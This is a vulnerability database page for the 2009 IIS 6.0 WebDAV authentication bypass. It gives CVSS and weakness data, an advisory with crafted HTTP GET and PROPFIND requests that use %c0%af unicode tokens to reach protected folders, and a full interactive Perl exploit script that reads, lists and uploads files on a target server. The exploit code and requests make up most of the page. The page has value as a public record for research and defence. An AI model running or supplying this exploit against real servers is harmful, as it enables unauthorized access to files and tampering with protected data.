Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-287 |
Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 8704
Publication date : 2009-05-14 22h00 +00:00
Author : kingcope
EDB Verified : Yes
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archive: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8704.pdf (2009-IIS-Advisory.pdf)
*** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE ***
Microsoft IIS 6.0 WebDAV Remote Authentication Bypass
Discovered by Kingcope - May 12th, 2009
Affected Vendors
Microsoft
Affected Products
Web Server
Vulnerability Details
This vulnerability allows remote attackers to bypass access restrictions
on vulnerable installations of Internet Information Server 6.0. The
specific flaw exists within the WebDAV functionality of IIS 6.0. The Web
Server fails to properly handle unicode tokens when parsing the URI and
sending back data. Exploitation of this issue can result in the
following:
Authentication bypass of password protected folders
Listing, downloading and uploading of files into a password protected WebDAV folder
Authentication bypass of password protected folders
Assume there is a password protected folder in
„d:\inetpub\wwwroot\protected\“. The password protection mechanism is
not relevant for the attack to work. Inside this folder there is a file
named „protected.zip“
The attacker sends a HTTP GET request to the web server.
GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
As seen above the URI contains the unicode character '/' (%c0%af). This
unicode character is removed in a WebDAV request. „Translate: f“
instructs the web server to handle the request using WebDAV. Using this
malicious URI construct the webserver sends the file located at
„/protected/protected.zip“ back to the attacker without asking for
proper authentication. Another valid request an attacker might send to
the web server is:
GET /prot%c0%afected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
IIS 6.0 will remove the „%c0%af“ unicode character internally from the
request and send back the password protected file without asking for
proper credentials. ASP scripts cannot be downloaded in this way unless
serving of script source-code is enabled.
Listing files in a password protected WebDAV folder
The attack on WebDAV folders is similar. The attacker can bypass the
access restrictions of the password protected folder and list, download,
upload and modify files. The attacker sends a PROPFIND request to the
web server.
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
IIS responds with the directory listing of the folder without asking for a password.
Credit
This vulnerability was discovered by:
Nikolaos Rangos
Contact:
[email protected]
Greetings to: alex and andi
# milw0rm.com [2009-05-15]
Exploit Database EDB-ID : 8806
Publication date : 2009-05-25 22h00 +00:00
Author : ka0x
EDB Verified : Yes
#!/usr/bin/perl -W
#
# Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
# written by ka0x <ka0x01[alt+64]gmail.com>
# Advisory: http://www.milw0rm.com/exploits/8765
#
# Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others!
use IO::Socket ;
my ( $host, $path ) = @ARGV ;
my $port = 80 ; # webserver port
&usage unless $ARGV[1] ;
$host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ;
$path =~ s/\/// if(substr($path, 0,1) eq '/');
sub _file {
$file = shift ;
open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ;
while( <FILE> ){
$cont .= $_ ;
}
close(FILE) ;
return $cont ;
}
print "write 'help' for get help list\n";
while( 1 ) {
my $sock = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ;
print "\$> ";
chomp( my $option = <STDIN> ) ;
last if $option eq 'quit' ;
if($option eq 'source') {
$path =~ s/\//%c0%af\// ;
print $sock "GET /".$path." HTTP/1.1\r\n" ;
print $sock "Translate: f\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock "Connection: close\r\n\r\n" ;
while(<$sock>){
print $_ ;
}
close($sock) ;
}
elsif($option eq 'path') {
$path =~ s/\//%c0%af\// ;
print $sock "PROPFIND /".$path." HTTP/1.1\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock "Connection:close\r\n" ;
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
print $sock "Content-Length: 0\r\n\r\n" ;
print $sock '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ;
while(<$sock>){
print $_ ;
}
close($sock) ;
}
elsif($option eq 'put') {
$path =~ s/\//%c0%af\// ;
print "[*] Insert a local file (ex: /root/file.txt): " ;
chomp( $local = <STDIN> ) ;
$file_l = _file( $local ) ;
print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ;
print $sock "Host: ".$host."\r\n" ;
print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ;
print $sock "Connection:close\r\n" ;
print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ;
print $sock $file_l,"\r\n" ;
while(<$sock>){
print $_ ;
}
close($sock) ;
}
elsif($option eq 'help') {
print "\n\t\t- OPTIONS -\n\n\n" ;
print "\thelp\t\tgive this help list\n" ;
print "\tsource\t\tget file content\n" ;
print "\tpath\t\tget directory contents\n" ;
print "\tput\t\tput file\n" ;
print "\tquit\t\texit exploit\n\n" ;
}
}
sub usage {
print << 'EOH' ;
$ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit
$ written by ka0x <ka0x01[at]gmail.com>
$ 25/05/2009
usage:
perl $0 <host> <path>
example:
perl $0 localhost dir/
perl $0 localhost dir/file.txt
EOH
exit;
}
__END__
# milw0rm.com [2009-05-26]
Products Mentioned
Configuraton 0
Microsoft>>Internet_information_services >> Version 5.1
Microsoft>>Windows_xp >> Version -
Microsoft>>Windows_xp >> Version -
Configuraton 0
Microsoft>>Internet_information_services >> Version 6.0
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_server_2003 >> Version -
Microsoft>>Windows_xp >> Version -
References